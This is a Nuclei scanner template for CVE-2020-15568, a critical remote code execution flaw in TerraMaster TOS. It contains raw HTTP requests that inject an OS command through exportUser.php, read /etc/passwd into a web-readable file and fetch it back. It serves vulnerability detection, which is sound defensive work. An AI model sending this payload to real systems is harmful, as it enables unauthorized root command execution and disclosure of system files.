id: CVE-2020-15568

info:
  name: TerraMaster TOS v4.1.24 RCE
  author: pikpikcu
  severity: critical
  description: TerraMaster TOS before 4.1.29 has Invalid Parameter Checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
  reference: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
  tags: cve,cve2020,terramaster,rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-15568
    cwe-id: CWE-913

requests:
  - raw:
      - |
        GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Enuclei.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        GET /include/nuclei.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"
        part: body
      - type: status
        status:
          - 200